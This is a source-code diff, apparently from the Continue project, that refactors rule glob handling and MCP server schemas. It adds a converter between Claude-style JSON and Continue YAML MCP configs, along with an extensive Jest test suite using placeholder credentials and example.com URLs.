@@ -64,38 +63,31 @@ export function getRuleName( // Handle both forward slashes and backslashes, get the last two segments const segments = displayName.split(/[/\\]/); const lastTwoParts = segments.slice(-2); - return lastTwoParts.join("/"); + return lastTwoParts.filter(Boolean).join("/"); } // Otherwise return the display name as-is (for slug identifiers) return displayName; } -function getGlobPattern( - globs: RuleFrontmatter["globs"], - id: PackageIdentifier, -) { - if (id.uriType !== "file") { +function getGlobPattern(globs: RuleFrontmatter["globs"], relativeDir?: string) { + if (relativeDir === undefined) { return globs; } - let dir = path.dirname(id.fileUri); - - // TODO: This is likely causing bugs for Windows users. - // We can't access `core/util/uri.ts` from this package though. - if (dir.includes(".continue")) { + if (relativeDir.includes(".continue")) { return globs; } - if (!dir.endsWith("/")) { - dir = dir.concat("/"); + if (!relativeDir.endsWith("/")) { + relativeDir = relativeDir.concat("/"); } const prependDirAndApplyGlobstar = (glob: string) => { if (glob.startsWith("**")) { - return dir.concat(glob); + return relativeDir.concat(glob); } - return dir.concat("**/", glob); + return relativeDir.concat("**/", glob); }; if (!globs) { - return dir.concat("**/*"); + return relativeDir.concat("**/*"); } if (Array.isArray(globs)) { return globs.map(prependDirAndApplyGlobstar); @@ -106,13 +98,14 @@ function getGlobPattern( export function markdownToRule( rule: string, id: PackageIdentifier, + relativePathForGlobs?: string, ): RuleObject { const { frontmatter, markdown } = parseMarkdownRule(rule); return { name: getRuleName(frontmatter, id), rule: markdown, - globs: getGlobPattern(frontmatter.globs, id), + globs: getGlobPattern(frontmatter.globs, relativePathForGlobs), regex: frontmatter.regex, description: frontmatter.description, alwaysApply: frontmatter.alwaysApply, diff --git a/packages/config-yaml/src/schemas/data/chatInteraction/index.ts b/packages/config-yaml/src/schemas/data/chatInteraction/index.ts index 8b4208a0a..5cccbafe6 100644 --- a/packages/config-yaml/src/schemas/data/chatInteraction/index.ts +++ b/packages/config-yaml/src/schemas/data/chatInteraction/index.ts @@ -13,7 +13,6 @@ export const chatInteractionEventAllSchema = baseDevDataAllSchema.extend({ .array( z.object({ id: z.string(), - rule: z.string(), slug: z.string().optional(), }), ) diff --git a/packages/config-yaml/src/schemas/data/nextEditOutcome/index.ts b/packages/config-yaml/src/schemas/data/nextEditOutcome/index.ts index 2cc63c91d..c4ad19a87 100644 --- a/packages/config-yaml/src/schemas/data/nextEditOutcome/index.ts +++ b/packages/config-yaml/src/schemas/data/nextEditOutcome/index.ts @@ -5,6 +5,7 @@ export const nextEditOutcomeEventAllSchema = baseDevDataAllSchema.extend({ elapsed: z.number(), completionOptions: z.any(), completionId: z.string(), + requestId: z.string().optional(), gitRepo: z.string().optional(), uniqueId: z.string(), timestamp: z.number(), diff --git a/packages/config-yaml/src/schemas/data/nextEditOutcome/v0.2.0.ts b/packages/config-yaml/src/schemas/data/nextEditOutcome/v0.2.0.ts index d7258d2dd..b732eb8e2 100644 --- a/packages/config-yaml/src/schemas/data/nextEditOutcome/v0.2.0.ts +++ b/packages/config-yaml/src/schemas/data/nextEditOutcome/v0.2.0.ts @@ -14,6 +14,7 @@ export const nextEditOutcomeEventSchema_0_2_0 = elapsed: true, completionOptions: true, completionId: true, + requestId: true, gitRepo: true, uniqueId: true, // timestamp: z.number(), diff --git a/packages/config-yaml/src/schemas/index.ts b/packages/config-yaml/src/schemas/index.ts index 0dc3b4e42..d8af2456e 100644 --- a/packages/config-yaml/src/schemas/index.ts +++ b/packages/config-yaml/src/schemas/index.ts @@ -1,6 +1,7 @@ import * as z from "zod"; import { commonModelSlugs } from "./commonSlugs.js"; import { dataSchema } from "./data/index.js"; +import { mcpServerSchema, partialMcpServerSchema } from "./mcp/index.js"; import { modelSchema, partialModelSchema, @@ -13,22 +14,7 @@ export const contextSchema = z.object({ params: z.any().optional(), }); -// TODO: This should be a discriminated union by type -const mcpServerSchema = z.object({ - name: z.string(), - command: z.string().optional(), - type: z.enum(["sse", "stdio", "streamable-http"]).optional(), - url: z.string().optional(), - faviconUrl: z.string().optional(), - args: z.array(z.string()).optional(), - env: z.record(z.string()).optional(), - cwd: z.string().optional(), - connectionTimeout: z.number().gt(0).optional(), - requestOptions: requestOptionsSchema.optional(), - sourceFile: z.string().optional(), -}); - -export type MCPServer = z.infer; +export { MCPServer } from "./mcp/index.js"; const promptSchema = z.object({ name: z.string(), @@ -58,7 +44,7 @@ const ruleObjectSchema = z.object({ regex: z.union([z.string(), z.array(z.string())]).optional(), alwaysApply: z.boolean().optional(), invokable: z.boolean().optional(), - sourceFile: z.string().optional(), //TODO refactor RuleWithSource.ruleFile to align with sourceFile + sourceFile: z.string().optional(), }); const ruleSchema = z.union([z.string(), ruleObjectSchema]); @@ -139,7 +125,18 @@ export const configYamlSchema = baseConfigYamlSchema.extend({ .optional(), context: z.array(blockOrSchema(contextSchema)).optional(), data: z.array(blockOrSchema(dataSchema)).optional(), - mcpServers: z.array(blockOrSchema(mcpServerSchema)).optional(), + mcpServers: z + .array( + z.union([ + mcpServerSchema, + z.object({ + uses: defaultUsesSchema, + with: z.record(z.string()).optional(), + override: partialMcpServerSchema.optional(), + }), + ]), + ) + .optional(), rules: z .array( z.union([ diff --git a/packages/config-yaml/src/schemas/mcp/convertJson.test.ts b/packages/config-yaml/src/schemas/mcp/convertJson.test.ts new file mode 100644 index 000000000..e46effabb --- /dev/null +++ b/packages/config-yaml/src/schemas/mcp/convertJson.test.ts @@ -0,0 +1,923 @@ +import { + converMcpServersJsonConfigFileToYamlBlocks, + convertJsonMcpConfigToYamlMcpConfig, + convertYamlMcpConfigToJsonMcpConfig, +} from "./convertJson.js"; +import type { HttpMcpServer, SseMcpServer, StdioMcpServer } from "./index.js"; +import { + claudeDesktopLikeConfigFileSchema, + mcpServersJsonSchema, + type HttpMcpJsonConfig, + type McpServersJsonConfigFile, + type SseMcpJsonConfig, + type StdioMcpJsonConfig, +} from "./json.js"; + +describe("convertJsonMcpConfigToYamlMcpConfig", () => { + describe("STDIO configurations", () => { + test("converts basic stdio config", () => { + const jsonConfig: StdioMcpJsonConfig = { + command: "node", + args: ["server.js"], + }; + + const result = convertJsonMcpConfigToYamlMcpConfig( + "test-server", + jsonConfig, + ); + + expect(result.yamlConfig).toEqual({ + name: "test-server", + type: "stdio", + command: "node", + args: ["server.js"], + }); + expect(result.warnings).toHaveLength(0); + }); + + test("converts stdio config with all fields", () => { + const jsonConfig: StdioMcpJsonConfig = { + type: "stdio", + command: "python", + args: ["-m", "server"], + env: { + API_KEY: "test-key", + DEBUG: "true", + }, + }; + + const result = convertJsonMcpConfigToYamlMcpConfig( + "python-server", + jsonConfig, + ); + + expect(result.yamlConfig).toEqual({ + name: "python-server", + type: "stdio", + command: "python", + args: ["-m", "server"], + env: { + API_KEY: "test-key", + DEBUG: "true", + }, + }); + expect(result.warnings).toHaveLength(0); + }); + + test("warns about unsupported envFile", () => { + const jsonConfig: StdioMcpJsonConfig = { + command: "node", + args: ["server.js"], + envFile: ".env", + }; + + const result = convertJsonMcpConfigToYamlMcpConfig( + "env-server", + jsonConfig, + ); + + expect(result.yamlConfig).toEqual({ + name: "env-server", + type: "stdio", + command: "node", + args: ["server.js"], + }); + expect(result.warnings).toHaveLength(1); + expect(result.warnings[0]).toContain("envFile is not supported"); + }); + + test("converts stdio config from parsed JSON string", () => { + const jsonString = JSON.stringify({ + command: "deno", + args: ["run", "server.ts"], + env: { PORT: "3000" }, + }); + const parsed = mcpServersJsonSchema.parse(JSON.parse(jsonString)); + + const result = convertJsonMcpConfigToYamlMcpConfig("deno-server", parsed); + + expect(result.yamlConfig).toEqual({ + name: "deno-server", + type: "stdio", + command: "deno", + args: ["run", "server.ts"], + env: { PORT: "3000" }, + }); + }); + }); + + describe("SSE/HTTP configurations", () => { + test("converts basic SSE config", () => { + const jsonConfig: SseMcpJsonConfig = { + url: "https://api.example.com/sse", + }; + + const result = convertJsonMcpConfigToYamlMcpConfig( + "sse-server", + jsonConfig, + ); + + expect(result.yamlConfig).toEqual({ + name: "sse-server", + url: "https://api.example.com/sse", + }); + expect(result.warnings).toHaveLength(0); + }); + + test("converts SSE config with type and headers", () => { + const jsonConfig: SseMcpJsonConfig = { + type: "sse", + url: "https://api.example.com/sse", + headers: { + Authorization: "Bearer token", + "X-Custom-Header": "value", + }, + }; + + const result = convertJsonMcpConfigToYamlMcpConfig( + "sse-auth", + jsonConfig, + ); + + expect(result.yamlConfig).toEqual({ + name: "sse-auth", + type: "sse", + url: "https://api.example.com/sse", + requestOptions: { + headers: { + Authorization: "Bearer token", + "X-Custom-Header": "value", + }, + }, + }); + expect(result.warnings).toHaveLength(0); + }); + + test("converts HTTP config", () => { + const jsonConfig: HttpMcpJsonConfig = { + type: "http", + url: "https://api.example.com/http", + headers: { + "Content-Type": "application/json", + }, + }; + + const result = convertJsonMcpConfigToYamlMcpConfig( + "http-server", + jsonConfig, + ); + + expect(result.yamlConfig).toEqual({ + name: "http-server", + type: "streamable-http", + url: "https://api.example.com/http", + requestOptions: { + headers: { + "Content-Type": "application/json", + }, + }, + }); + expect(result.warnings).toHaveLength(0); + }); + + test("converts HTTP config from parsed JSON string", () => { + const jsonString = JSON.stringify({ + type: "http", + url: "https://test.com/api", + headers: { "API-Key": "secret" }, + }); + const parsed = mcpServersJsonSchema.parse(JSON.parse(jsonString)); + + const result = convertJsonMcpConfigToYamlMcpConfig("parsed-http", parsed); + + expect(result.yamlConfig).toEqual({ + name: "parsed-http", + type: "streamable-http", + url: "https://test.com/api", + requestOptions: { + headers: { "API-Key": "secret" }, + }, + }); + }); + }); + + test("throws error for invalid config", () => { + const invalidConfig = { + invalid: "config", + } as any; + + expect(() => + convertJsonMcpConfigToYamlMcpConfig("invalid", invalidConfig), + ).toThrowError("Invalid MCP server configuration"); + }); +}); + +describe("convertYamlMcpConfigToJsonMcpConfig", () => { + describe("STDIO configurations", () => { + test("converts basic stdio config", () => { + const yamlConfig: StdioMcpServer = { + name: "test-server", + type: "stdio", + command: "node", + args: ["server.js"], + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.name).toBe("test-server"); + expect(result.jsonConfig).toEqual({ + type: "stdio", + command: "node", + args: ["server.js"], + }); + expect(result.MCP_TIMEOUT).toBeUndefined(); + expect(result.warnings).toHaveLength(0); + }); + + test("converts stdio config with env and timeout", () => { + const yamlConfig: StdioMcpServer = { + name: "python-server", + command: "python", + args: ["-m", "server"], + env: { + API_KEY: "test-key", + DEBUG: "true", + }, + connectionTimeout: 30000, + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.name).toBe("python-server"); + expect(result.jsonConfig).toEqual({ + type: "stdio", + command: "python", + args: ["-m", "server"], + env: { + API_KEY: "test-key", + DEBUG: "true", + }, + }); + expect(result.MCP_TIMEOUT).toBe("30000"); + expect(result.warnings).toHaveLength(0); + }); + + test("warns about unsupported cwd field", () => { + const yamlConfig: StdioMcpServer = { + name: "cwd-server", + command: "node", + cwd: "/path/to/dir", + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.jsonConfig).toEqual({ + type: "stdio", + command: "node", + }); + expect(result.warnings).toHaveLength(1); + expect(result.warnings[0]).toBe( + "`cwd` from YAML MCP config not supported in Claude-style JSON, will be removed from server cwd-server", + ); + }); + + test("warns about unsupported faviconUrl", () => { + const yamlConfig: StdioMcpServer = { + name: "icon-server", + command: "node", + faviconUrl: "https://example.com/icon.png", + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.warnings).toHaveLength(1); + expect(result.warnings[0]).toBe( + "`faviconUrl` from YAML MCP config not supported in Claude-style JSON, will be removed from server icon-server", + ); + }); + + test("converts parsed YAML stdio config", () => { + const yamlConfig: StdioMcpServer = { + name: "parsed-stdio", + type: "stdio", + command: "bun", + args: ["run", "server.ts"], + env: { NODE_ENV: "production" }, + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.jsonConfig).toEqual({ + type: "stdio", + command: "bun", + args: ["run", "server.ts"], + env: { NODE_ENV: "production" }, + }); + }); + }); + + describe("SSE/HTTP configurations", () => { + test("converts basic SSE config", () => { + const yamlConfig: SseMcpServer = { + name: "sse-server", + url: "https://api.example.com/sse", + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.name).toBe("sse-server"); + expect(result.jsonConfig).toEqual({ + url: "https://api.example.com/sse", + }); + expect(result.warnings).toHaveLength(0); + }); + + test("converts SSE config with type and headers", () => { + const yamlConfig: SseMcpServer = { + name: "sse-auth", + type: "sse", + url: "https://api.example.com/sse", + requestOptions: { + headers: { + Authorization: "Bearer token", + "X-Custom-Header": "value", + }, + }, + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.jsonConfig).toEqual({ + type: "sse", + url: "https://api.example.com/sse", + headers: { + Authorization: "Bearer token", + "X-Custom-Header": "value", + }, + }); + expect(result.warnings).toHaveLength(0); + }); + + test("converts HTTP config", () => { + const yamlConfig: HttpMcpServer = { + name: "http-server", + type: "streamable-http", + url: "https://api.example.com/http", + requestOptions: { + headers: { + "Content-Type": "application/json", + }, + }, + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.jsonConfig).toEqual({ + type: "http", + url: "https://api.example.com/http", + headers: { + "Content-Type": "application/json", + }, + }); + expect(result.warnings).toHaveLength(0); + }); + + test("warns about unsupported requestOptions fields", () => { + const yamlConfig: SseMcpServer = { + name: "complex-server", + url: "https://api.example.com", + requestOptions: { + headers: { "API-Key": "secret" }, + timeout: 5000, + proxy: "http://proxy.com", + verifySsl: false, + }, + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.jsonConfig).toEqual({ + url: "https://api.example.com", + headers: { "API-Key": "secret" }, + }); + expect(result.warnings).toHaveLength(3); + expect(result.warnings).toContain( + "timeout requestOption from YAML MCP config not supported in Claude-style JSON, will be ignored in server complex-server", + ); + expect(result.warnings).toContain( + "proxy requestOption from YAML MCP config not supported in Claude-style JSON, will be ignored in server complex-server", + ); + expect(result.warnings).toContain( + "verifySsl requestOption from YAML MCP config not supported in Claude-style JSON, will be ignored in server complex-server", + ); + }); + + test("converts parsed YAML HTTP config", () => { + const yamlConfig: HttpMcpServer = { + name: "parsed-http", + type: "streamable-http", + url: "https://test.com/api", + requestOptions: { + headers: { "API-Key": "secret" }, + }, + connectionTimeout: 10000, + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.jsonConfig).toEqual({ + type: "http", + url: "https://test.com/api", + headers: { "API-Key": "secret" }, + }); + expect(result.MCP_TIMEOUT).toBe("10000"); + }); + }); + + test("throws error for invalid config", () => { + const invalidConfig = { + name: "invalid", + invalid: "config", + } as any; + + expect(() => + convertYamlMcpConfigToJsonMcpConfig(invalidConfig), + ).toThrowError("Invalid MCP server configuration"); + }); +}); + +describe("converMcpServersJsonConfigFileToYamlBlocks", () => { + test("converts empty file", () => { + const jsonFile: McpServersJsonConfigFile = { + mcpServers: {}, + }; + + const result = converMcpServersJsonConfigFileToYamlBlocks(jsonFile); + + expect(result.yamlConfigs).toEqual([]); + expect(result.warnings).toHaveLength(0); + }); + + test("converts file with multiple servers", () => { + const jsonFile: McpServersJsonConfigFile = { + mcpServers: { + "weather-server": { + command: "npx", + args: ["@example/weather-server"], + env: { + WEATHER_API_KEY: "key123", + }, + }, + "database-server": { + type: "stdio", + command: "python", + args: ["-m", "db_server"], + }, + "api-server": { + type: "http", + url: "https://api.example.com", + headers: { + Authorization: "Bearer token", + }, + }, + "sse-server": { + type: "sse", + url: "https://sse.example.com/stream", + }, + }, + }; + + const result = converMcpServersJsonConfigFileToYamlBlocks(jsonFile); + + expect(result.yamlConfigs).toHaveLength(4); + expect(result.warnings).toHaveLength(0); + + // Check each converted server + expect(result.yamlConfigs[0]).toEqual({ + name: "weather-server", + type: "stdio", + command: "npx", + args: ["@example/weather-server"], + env: { + WEATHER_API_KEY: "key123", + }, + }); + + expect(result.yamlConfigs[1]).toEqual({ + name: "database-server", + type: "stdio", + command: "python", + args: ["-m", "db_server"], + }); + + expect(result.yamlConfigs[2]).toEqual({ + name: "api-server", + type: "streamable-http", + url: "https://api.example.com", + requestOptions: { + headers: { + Authorization: "Bearer token", + }, + }, + }); + + expect(result.yamlConfigs[3]).toEqual({ + name: "sse-server", + type: "sse", + url: "https://sse.example.com/stream", + }); + }); + + test("collects warnings from multiple servers", () => { + const jsonFile: McpServersJsonConfigFile = { + mcpServers: { + server1: { + command: "node", + envFile: ".env", + }, + server2: { + command: "python", + args: ["app.py"], + envFile: ".env.production", + }, + }, + }; + + const result = converMcpServersJsonConfigFileToYamlBlocks(jsonFile); + + expect(result.yamlConfigs).toHaveLength(2); + expect(result.warnings).toHaveLength(2); + expect(result.warnings[0]).toContain("server1"); + expect(result.warnings[1]).toContain("server2"); + }); + + test("converts parsed JSON file", () => { + const jsonString = JSON.stringify({ + mcpServers: { + "test-stdio": { + command: "node", + args: ["index.js"], + }, + "test-http": { + type: "http", + url: "https://test.com", + headers: { "X-Test": "value" }, + }, + }, + }); + const parsed = claudeDesktopLikeConfigFileSchema.parse( + JSON.parse(jsonString), + ); + + const result = converMcpServersJsonConfigFileToYamlBlocks(parsed); + + expect(result.yamlConfigs).toHaveLength(2); + expect(result.yamlConfigs[0].name).toBe("test-stdio"); + expect(result.yamlConfigs[1].name).toBe("test-http"); + }); + + test("handles mixed valid and problematic configurations", () => { + const jsonFile: McpServersJsonConfigFile = { + mcpServers: { + "good-server": { + command: "node", + args: ["server.js"], + }, + "warning-server": { + command: "python", + envFile: ".env", + env: { + PORT: "3000", + }, + }, + }, + }; + + const result = converMcpServersJsonConfigFileToYamlBlocks(jsonFile); + + expect(result.yamlConfigs).toHaveLength(2); + expect(result.warnings).toHaveLength(1); + + // Check that both servers were converted + expect( + result.yamlConfigs.find((c) => c.name === "good-server"), + ).toBeTruthy(); + expect( + result.yamlConfigs.find((c) => c.name === "warning-server"), + ).toBeTruthy(); + + // Check that the warning server still has its env vars + const warningServer = result.yamlConfigs.find( + (c) => c.name === "warning-server", + ); + expect(warningServer).toMatchObject({ + env: { PORT: "3000" }, + }); + }); + + test("handles environment variable templating in JSON file", () => { + const jsonFile: McpServersJsonConfigFile = { + mcpServers: { + "weather-server": { + command: "npx", + args: ["@example/weather-server"], + env: { + WEATHER_API_KEY: "${WEATHER_API_KEY_ENV_VAR}", + STATIC_VALUE: "production", + COMPLEX: "https://${API_HOST}:${API_PORT}/v1", + }, + }, + }, + }; + + const result = converMcpServersJsonConfigFileToYamlBlocks(jsonFile); + + expect(result.yamlConfigs).toHaveLength(1); + expect(result.yamlConfigs[0]).toEqual({ + name: "weather-server", + type: "stdio", + command: "npx", + args: ["@example/weather-server"], + env: { + WEATHER_API_KEY: "${{ secrets.WEATHER_API_KEY_ENV_VAR }}", + STATIC_VALUE: "production", + COMPLEX: "https://${{ secrets.API_HOST }}:${{ secrets.API_PORT }}/v1", + }, + }); + }); +}); + +describe("Environment variable conversion", () => { + describe("JSON to YAML conversion", () => { + test("converts ${VAR} to ${{ secrets.VAR }}", () => { + const jsonConfig: StdioMcpJsonConfig = { + command: "node", + args: ["server.js"], + env: { + API_KEY: "${WEATHER_API_KEY}", + PORT: "3000", + DEBUG: "${DEBUG_MODE}", + }, + }; + + const result = convertJsonMcpConfigToYamlMcpConfig( + "test-server", + jsonConfig, + ); + + expect(result.yamlConfig).toEqual({ + name: "test-server", + type: "stdio", + command: "node", + args: ["server.js"], + env: { + API_KEY: "${{ secrets.WEATHER_API_KEY }}", + PORT: "3000", + DEBUG: "${{ secrets.DEBUG_MODE }}", + }, + }); + }); + + test("handles multiple variables in one value", () => { + const jsonConfig: StdioMcpJsonConfig = { + command: "node", + env: { + CONNECTION_STRING: + "postgres://${DB_USER}:${DB_PASS}@${DB_HOST}:5432/mydb", + API_URL: "https://${API_HOST}/v1/${API_VERSION}", + }, + }; + + const result = convertJsonMcpConfigToYamlMcpConfig( + "test-server", + jsonConfig, + ); + + expect(result.yamlConfig).toEqual({ + name: "test-server", + type: "stdio", + command: "node", + env: { + CONNECTION_STRING: + "postgres://${{ secrets.DB_USER }}:${{ secrets.DB_PASS }}@${{ secrets.DB_HOST }}:5432/mydb", + API_URL: + "https://${{ secrets.API_HOST }}/v1/${{ secrets.API_VERSION }}", + }, + }); + }); + + test("preserves non-template values", () => { + const jsonConfig: StdioMcpJsonConfig = { + command: "node", + env: { + STATIC_VALUE: "production", + MIXED: "prefix-${DYNAMIC}-suffix", + NUMBER: "8080", + }, + }; + + const result = convertJsonMcpConfigToYamlMcpConfig( + "test-server", + jsonConfig, + ); + + expect(result.yamlConfig).toEqual({ + name: "test-server", + type: "stdio", + command: "node", + env: { + STATIC_VALUE: "production", + MIXED: "prefix-${{ secrets.DYNAMIC }}-suffix", + NUMBER: "8080", + }, + }); + }); + }); + + describe("YAML to JSON conversion", () => { + test("converts ${{ secrets.VAR }} to ${VAR}", () => { + const yamlConfig: StdioMcpServer = { + name: "test-server", + type: "stdio", + command: "node", + args: ["server.js"], + env: { + API_KEY: "${{ secrets.WEATHER_API_KEY }}", + PORT: "3000", + DEBUG: "${{ secrets.DEBUG_MODE }}", + }, + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.jsonConfig).toEqual({ + type: "stdio", + command: "node", + args: ["server.js"], + env: { + API_KEY: "${WEATHER_API_KEY}", + PORT: "3000", + DEBUG: "${DEBUG_MODE}", + }, + }); + }); + + test("converts ${{ inputs.VAR }} to ${VAR}", () => { + const yamlConfig: StdioMcpServer = { + name: "test-server", + type: "stdio", + command: "node", + env: { + USER_INPUT: "${{ inputs.USER_NAME }}", + API_KEY: "${{ inputs.API_KEY }}", + }, + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.jsonConfig).toEqual({ + type: "stdio", + command: "node", + env: { + USER_INPUT: "${USER_NAME}", + API_KEY: "${API_KEY}", + }, + }); + }); + + test("handles mixed secrets and inputs", () => { + const yamlConfig: StdioMcpServer = { + name: "test-server", + type: "stdio", + command: "node", + env: { + SECRET_KEY: "${{ secrets.API_SECRET }}", + USER_INPUT: "${{ inputs.USER_NAME }}", + MIXED: "${{ secrets.PART1 }}-${{ inputs.PART2 }}", + }, + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.jsonConfig).toEqual({ + type: "stdio", + command: "node", + env: { + SECRET_KEY: "${API_SECRET}", + USER_INPUT: "${USER_NAME}", + MIXED: "${PART1}-${PART2}", + }, + }); + }); + + test("handles whitespace in templates", () => { + const yamlConfig: StdioMcpServer = { + name: "test-server", + type: "stdio", + command: "node", + env: { + SPACED: "${{ secrets.VAR_WITH_SPACES }}", + MIXED_SPACE: "${{ secrets.VAR1 }}-${{inputs.VAR2}}", + }, + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.jsonConfig).toEqual({ + type: "stdio", + command: "node", + env: { + SPACED: "${VAR_WITH_SPACES}", + MIXED_SPACE: "${VAR1}-${VAR2}", + }, + }); + }); + + test("handles multiple variables in one value", () => { + const yamlConfig: StdioMcpServer = { + name: "test-server", + type: "stdio", + command: "node", + env: { + CONNECTION_STRING: + "postgres://${{ secrets.DB_USER }}:${{ secrets.DB_PASS }}@${{ secrets.DB_HOST }}:5432/mydb", + API_URL: + "https://${{ inputs.API_HOST }}/v1/${{ secrets.API_VERSION }}", + }, + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.jsonConfig).toEqual({ + type: "stdio", + command: "node", + env: { + CONNECTION_STRING: + "postgres://${DB_USER}:${DB_PASS}@${DB_HOST}:5432/mydb", + API_URL: "https://${API_HOST}/v1/${API_VERSION}", + }, + }); + }); + + test("preserves non-template values", () => { + const yamlConfig: StdioMcpServer = { + name: "test-server", + type: "stdio", + command: "node", + env: { + STATIC_VALUE: "production", + MIXED: "prefix-${{ secrets.DYNAMIC }}-suffix", + NUMBER: "8080", + }, + }; + + const result = convertYamlMcpConfigToJsonMcpConfig(yamlConfig); + + expect(result.jsonConfig).toEqual({ + type: "stdio", + command: "node", + env: { + STATIC_VALUE: "production", + MIXED: "prefix-${DYNAMIC}-suffix", + NUMBER: "8080", + }, + }); + }); + }); + + describe("Roundtrip conversion", () => { + test("JSON -> YAML -> JSON preserves values", () => { + const originalJson: StdioMcpJsonConfig = { + command: "node", + args: ["server.js"], + env: { + API_KEY: "${WEATHER_API_KEY}", + STATIC: "production", + COMPLEX: "prefix-${VAR1}-middle-${VAR2}-suffix", + }, + }; + + // Convert to YAML + const yamlResult = convertJsonMcpConfigToYamlMcpConfig( + "test", + originalJson, + ); + + // Convert back to JSON + const jsonResult = convertYamlMcpConfigToJsonMcpConfig( + yamlResult.yamlConfig as StdioMcpServer, + ); + + expect(jsonResult.jsonConfig).toEqual({ + type: "stdio", + command: "node", + args: ["server.js"], + env: { + API_KEY: "${WEATHER_API_KEY}", + STATIC: "production", + COMPLEX: "prefix-${VAR1}-middle-${VAR2}-suffix", + }, + }); + }); + }); +}); diff --git a/packages/config-yaml/src/schemas/mcp/convertJson.ts b/packages/config-yaml/src/schemas/mcp/convertJson.ts new file mode 100644 index 000000000..662f8e419 --- /dev/null +++ b/packages/config-yaml/src/schemas/mcp/convertJson.ts @@ -0,0 +1,203 @@ +import type { + HttpMcpServer, + MCPServer, + SseMcpServer, + StdioMcpServer, +} from "./index.js"; +import type { + HttpMcpJsonConfig, + McpJsonConfig, + McpServersJsonConfigFile, + SseMcpJsonConfig, +} from "./json.js"; + +/** + * Convert environment variable references from JSON format (${VAR}) to YAML format (${{ secrets.VAR }}) + */ +export function convertJsonEnvToYamlEnv( + env: Record | undefined, +): Record | undefined { + if (!env) return undefined; + + return Object.fromEntries( + Object.entries(env).map(([key, value]) => [ + key, + value.replace(/\$\{([^}]+)\}/g, "${{ secrets.$1 }}"), + ]), + ); +} + +/** + * Convert environment variable references from YAML format (${{ secrets.VAR }} or ${{ inputs.VAR }}) to JSON format (${VAR}) + */ +export function convertYamlEnvToJsonEnv( + env: Record | undefined, +): Record | undefined { + if (!env) return undefined; + + return Object.fromEntries( + Object.entries(env).map(([key, value]) => [ + key, + value.replace(/\$\{\{\s*(?:secrets|inputs)\.([^}\s]+)\s*\}\}/g, "${$1}"), + ]), + ); +} + +/** + * Convert from JSON schema (used in Claude Desktop) to YAML schema (used in Continue) + */ +export function convertJsonMcpConfigToYamlMcpConfig( + name: string, + jsonConfig: McpJsonConfig, +): { + yamlConfig: MCPServer; + warnings: string[]; +} { + const warnings: string[] = []; + + // STDIO + if ("command" in jsonConfig) { + if (jsonConfig.envFile) { + warnings.push( + `envFile is not supported in Continue MCP configuration (server "${name}"). Environment variables from file will not be used.`, + ); + } + + const stdioConfig: StdioMcpServer = { + name, + type: "stdio", + command: jsonConfig.command, + args: jsonConfig.args, + env: convertJsonEnvToYamlEnv(jsonConfig.env), + }; + return { + warnings, + yamlConfig: stdioConfig, + }; + } + + // SSE/HTTP + if ("url" in jsonConfig) { + const sseOrHttpConfig: SseMcpServer | HttpMcpServer = { + name, + url: jsonConfig.url, + }; + + if (jsonConfig.type) { + sseOrHttpConfig.type = + jsonConfig.type === "http" ? "streamable-http" : "sse"; + } + + if (jsonConfig.headers) { + sseOrHttpConfig.requestOptions = { + headers: jsonConfig.headers, + }; + } + + return { + warnings, + yamlConfig: sseOrHttpConfig, + }; + } + + throw new Error(`Invalid MCP server configuration`); +} + +/** + * Convert from YAML schema (used in Continue) to JSON schema (e.g. used in Claude Desktop) + */ +export function convertYamlMcpConfigToJsonMcpConfig(yamlConfig: MCPServer): { + name: string; + jsonConfig: McpJsonConfig; + MCP_TIMEOUT?: string; + warnings: string[]; +} { + const { name, faviconUrl } = yamlConfig; + + const warnings: string[] = []; + if (faviconUrl) { + warnings.push( + `\`faviconUrl\` from YAML MCP config not supported in Claude-style JSON, will be removed from server ${name}`, + ); + } + + // Claude uses MCP_TIMEOUT env variable rather than a configuration for stdio + const MCP_TIMEOUT = yamlConfig.connectionTimeout?.toString(); + + // STDIO + if ("command" in yamlConfig) { + const { command, args, env, cwd } = yamlConfig; + + if (cwd) { + warnings.push( + `\`cwd\` from YAML MCP config not supported in Claude-style JSON, will be removed from server ${name}`, + ); + } + + return { + name, + MCP_TIMEOUT, + warnings, + jsonConfig: { + type: "stdio", + command, + args, + env: convertYamlEnvToJsonEnv(env), + }, + }; + } + + // SSE/HTTP + if ("url" in yamlConfig) { + const { url, requestOptions } = yamlConfig; + + const { headers, ...unsupportedReqOptions } = requestOptions ?? {}; + for (const key of Object.keys(unsupportedReqOptions)) { + warnings.push( + `${key} requestOption from YAML MCP config not supported in Claude-style JSON, will be ignored in server ${name}`, + ); + } + + const httpOrSseJsonConfig: HttpMcpJsonConfig | SseMcpJsonConfig = { + url, + headers, + }; + + if (yamlConfig.type) { + httpOrSseJsonConfig.type = + yamlConfig.type === "streamable-http" ? "http" : "sse"; + } + + return { + name, + warnings, + jsonConfig: httpOrSseJsonConfig, + MCP_TIMEOUT, + }; + } + + throw new Error(`Invalid MCP server configuration`); +} + +export function converMcpServersJsonConfigFileToYamlBlocks( + jsonFile: McpServersJsonConfigFile, +): { + yamlConfigs: MCPServer[]; + warnings: string[]; +} { + const allWarnings: string[] = []; + const jsonEntries = Object.entries(jsonFile.mcpServers ?? {}); + const yamlConfigs = jsonEntries.map(([name, config]) => { + const { warnings, yamlConfig } = convertJsonMcpConfigToYamlMcpConfig( + name, + config, + ); + allWarnings.push(...warnings); + return yamlConfig; + }); + + return { + warnings: allWarnings, + yamlConfigs, + }; +} diff --git 